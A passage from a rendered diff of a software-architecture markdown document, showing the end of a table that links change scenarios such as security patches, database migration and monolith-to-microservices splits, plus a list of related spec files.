| Case 6 (Team) | → Case 10 (Monolith→MS) | Team boundaries drive service boundaries (Conway's Law) |
|
|
538
|
+
| Case 7 (Event Sourcing) | → Case 3 (Schema) | New event types are event store schema changes |
|
|
539
|
+
| Case 8 (Security) | → Case 2 (Dependency) | Security patches require dependency upgrades |
|
|
540
|
+
| Case 9 (API Breaking) | → Case 1 (New Feature) | Breaking changes often accompany new features |
|
|
541
|
+
| Case 10 (Monolith→MS) | → Case 11 (DB Migration) | Service decomposition requires database splitting |
|
|
542
|
+
| Case 11 (DB Migration) | → Case 4 (Scale) | Database migrations often motivated by scale |
|
|
543
|
+
|
|
544
|
+
---
|
|
545
|
+
|
|
546
|
+
## Related Documents
|
|
547
|
+
- structure_spec.md — module structure, architectural patterns, verification structure, quantitative thresholds
|
|
548
|
+
- dependency_rules.md — dependency direction, API management, runtime dependencies, build/package dependencies
|
|
549
|
+
- logic_rules.md — type system, state management, constraint design, security, concurrency, testing logic
|
|
550
|
+
- domain_scope.md — concern areas, concept categories, reference standards
|
|
551
|
+
- concepts.md — term definitions for architecture, data/state, type system, change management
|